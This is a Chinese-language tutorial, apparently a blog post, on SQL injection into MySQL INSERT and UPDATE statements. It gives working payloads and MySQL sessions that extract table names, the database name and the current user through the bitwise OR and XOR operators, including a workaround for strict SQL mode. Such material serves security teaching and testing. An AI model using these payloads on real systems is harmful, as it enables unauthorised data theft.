【SQL注入】insert和update注入利用位运算符

我们先来假设insert和update有两个以上的列,并且我们是知道列数和列名的,表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | test | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)

insert

insert into users values (5,'{inject here}','password');

我们可以构造payload:

vinc',(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()))-- -
mysql> select * from users where id = 5;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 5 | vinc | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

update

update users set username='{injecthere}',password='pass' where id = 4;

我们可以构造payload:

vincent',password=(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()) where id=4-- -
mysql> select * from users where id = 4;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 4 | vincent | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

而如果insert和update只有一列的话,上面这种方式就不适用了。
这里可以利用位或运算符|或者位异或运算符^。
例如存在注入的环境如下:

insert into users values (17,'james', '{injecthere}');
update users set username='{injecthere}' where id = 4;

将字符串转换为整数:
String -> Hexadecimal -> Decimal

mysql> select conv(hex(version()), 16, 10);
+--------------------------------+
| conv(hex(version()), 16, 10) |
+--------------------------------+
| 58472576987956 |
+--------------------------------+

Decimal -> Hexadecimal -> String

mysql> select unhex(conv(58472576987956, 10, 16));
+-------------------------------------+
| unhex(conv(58472576987956, 10, 16)) |
+-------------------------------------+
| 5.5.34 |
+-------------------------------------+

需要注意的是,字符串的最大长度为8

mysql> select conv(hex('xxxxxxxx'), 16, 10);
+-------------------------------+
| conv(hex('xxxxxxxx'), 16, 10) |
+-------------------------------+
| 8680820740569200760 |
+-------------------------------+
1 row in set (0.00 sec)

当超过8位时,就是BIGINT的最大值

mysql> select conv(hex('xxxxxxxxx'), 16, 10);
+--------------------------------+
| conv(hex('xxxxxxxxx'), 16, 10) |
+--------------------------------+
| 18446744073709551615 |
+--------------------------------+
1 row in set (0.00 sec)

所以只能够每8位依次读取

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
mysql> select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
| 107118236496756 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16)));
+--------------------------------------------------------------------------------------+
| concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16))) |
+--------------------------------------------------------------------------------------+
| root@localhost |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

我们可以利用位或运算符|构造payload如下:

' | conv(hex(database()), 16, 10) | '
mysql> insert into users values (22,'james', '' | conv(hex(database()), 16, 10) | '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 22;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 22 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

然后我们转换为字符串

mysql> select unhex(conv(1952805748, 10,16));
+--------------------------------+
| unhex(conv(1952805748, 10,16)) |
+--------------------------------+
| test |
+--------------------------------+
1 row in set (0.00 sec)

同样可以使用位异或运算符^

mysql> insert into users values (23,'james', '' ^ conv(hex(database()), 16, 10) ^ '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 23;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 23 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

Limitations in MySQL 5.7
这种工作方式在5.7.5之后的版本无法使用。

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.17 |
+-----------+
1 row in set (0.00 sec)
mysql> insert into user(user,host) values ('vincent','xx' | conv(hex(database()), 16, 10));
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'xx'

因为在之后的版本Mysql默认是工作在Strict SQL Mode。在MySQL 5.7.17中,默认的SQL模式包括“strict_trans_tables”。

mysql> SELECT @@SESSION.sql_mode\G
*************************** 1. row ***************************
@@SESSION.sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
1 row in set (0.00 sec)

如果要解决这个问题,必须注入整数才能成功。

mysql> describe user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
| username | varchar(500) | YES | | NULL | |
| password | varchar(500) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
mysql> insert into user values (0,'0' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10),'pass');
Query OK, 1 row affected (0.04 sec)
mysql> select * from user;
+------+---------------------+----------+
| id | username | password |
+------+---------------------+----------+
| 0 | 8245931987826405219 | pass |
+------+---------------------+----------+
1 row in set (0.01 sec)

参考文章


https://xianzhi.aliyun.com/forum/read/729.html?fpage=4
https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/